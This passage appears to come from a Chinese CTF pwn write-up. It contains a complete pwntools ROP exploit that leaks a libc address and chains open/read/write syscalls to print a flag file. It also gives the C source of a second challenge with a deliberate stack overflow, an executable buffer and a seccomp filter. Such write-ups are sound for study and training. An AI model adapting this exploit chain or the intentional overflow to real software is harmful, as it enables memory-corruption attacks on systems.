22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
from pwn import *
p = process('./level_1_orw')
context(arch='amd64',os = 'Linux',endian='little',log_level='debug')
pop_rdi = 0x4013e3
ret = 0x40101a

read_got = 0x404040
printf_plt = 0x4010e4
dofunc = 0x4012E8
write_got = 0x404028

pop_rbx_rbp_r12 = 0x4013DA
bss_addr = 0x404089
mov_rdx = 0x4013C0
pop_rsi_r15 = 0x4013e1
#gdb.attach(p)
# 第一次payload,泄露read地址,并接收
payload1 = b'A'*0x10 +p64(ret)+p64(pop_rdi) + p64(read_got) + p64(printf_plt)
payload1+= p64(ret)+p64(dofunc)
p.sendlineafter(b'input name:',payload1)
p.recvuntil(b'\n')
b = p.recv()[:6]
read_addr = int.from_bytes(b,byteorder='little')
print("read_addr----->",hex(read_addr))



# 计算其他函数在libc中的地址
sh_addr = read_addr + 802472
sys_addr = read_addr - 801376
write_addr = read_addr + 160
open_addr = read_addr - 752
syscall_addr = read_addr + 41120

# 布置写入./flag的文件路径和Syscall的got表
rbx = 0
rbp = 1
r12 = 0
r13 = bss_addr
r14 = 0x8 + 0x8
r15 = read_got
pause()
# 第二次payload,写入字符串`./flag`,再返回到dofunc函数中
payload2 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload2+= p64(r12) + p64(r13) +p64(r14)+ p64(r15) + p64(mov_rdx)
payload2+= p64(0xdeadbeff)*7+p64(dofunc)
p.sendline(payload2)
p.send(b'./flag\x00\x00'+p64(syscall_addr))

# 布置打开syscall的栈
rbx = 0
rbp = 1
r12 = 0x2
r13 = bss_addr
r14 = 0x6
r15 = bss_addr + 0x8
# 第三次payload,使用open打开flag
#print("第三次payload")
payload3 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload3+= p64(r12) + p64(r13) +p64(r14) +p64(r15) + p64(mov_rdx)
payload3+= p64(0xdeadbeff)*7 + p64(dofunc)
p.sendlineafter(b'input name:',payload3)

# 布置使用read函数的栈
rbx = 0
rbp = 1
r12 = 0x3
r13 = bss_addr + 0x107
r14 = 0x30
r15 = read_got

# 第四次payload,使用read写入flag
#print("第四次payload")
payload4 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload4+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx)
payload4+= p64(0xdeadbeff)*7 + p64(dofunc)
p.sendlineafter(b'input name:',payload4)


# 布置使用write函数
rbx = 0
rbp = 1
r12 = 0x1
r13 = bss_addr + 0x107
r14 = 0x30
r15 = write_got

# 第五次payload,使用write写入flag
payload5 = b'A'*0x10+p64(pop_rbx_rbp_r12) + p64(rbx) + p64(rbp)
payload5+= p64(r12) + p64(r13) + p64(r14) +p64(r15) + p64(mov_rdx)
payload5+= p64(0xdeadbeff)*7+ p64(ret) + p64(dofunc)
p.sendlineafter(b'input name:',payload5)
"""
# 使用printf函数输出flag
payload5 = b'A'*0x10 +p64(ret) + p64(pop_rdi) + p64(bss_addr + 0x107) + p64(printf_plt)
p.sendlineafter(b'input name:',payload5)
"""
p.interactive()
  • 最后就会把flag打印出来

image-20240903114925390

题目2

  • 题目来源:国资佬
  • 题目附件:
  • 源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/mman.h>
#include <string.h>
/*
int mprotect(const void *start, size_t len, int prot);
第一个参数:开始地址(该地址应是0x1000的倍数,以页方式对齐)
第二个参数:指定长度(长度也应该是0x1000的倍数)
第三个参数:指定属性
PROT_NONE:The memory cannot be accessed at all.完全无法访问内存。
PROT_READ:The memory can be read.可以读取内存。
PROT_WRITE:The memory can be modified.内存可以修改。
PROT_EXEC:The memory can be executed.内存可以执行。
可读可写可执行(0x111=7)W
*/
char buf2[0x100];

#include <seccomp.h>
#include <linux/seccomp.h>

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}
int init_seccomp(){
scmp_filter_ctx ctx;
ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_load(ctx);
}

int dofunc(){
char buf[0x100];
int pagesize = getpagesize();
long long int addr = buf2;
addr = (addr >>12)<<12;
mprotect(addr, pagesize, 7);
puts("input:");
read(0,buf,0x200);
strncpy(buf2, buf, 100);
printf("bye bye ~");
return 0;
}

int main(){
init_func();
init_seccomp();
dofunc();
((void (*) (void)) buf2)();
return 0;
}
//gcc ret2shellcode_orw.c -fno-stack-protector -no-pie -o ret2shellcode_orw_x64 -l seccomp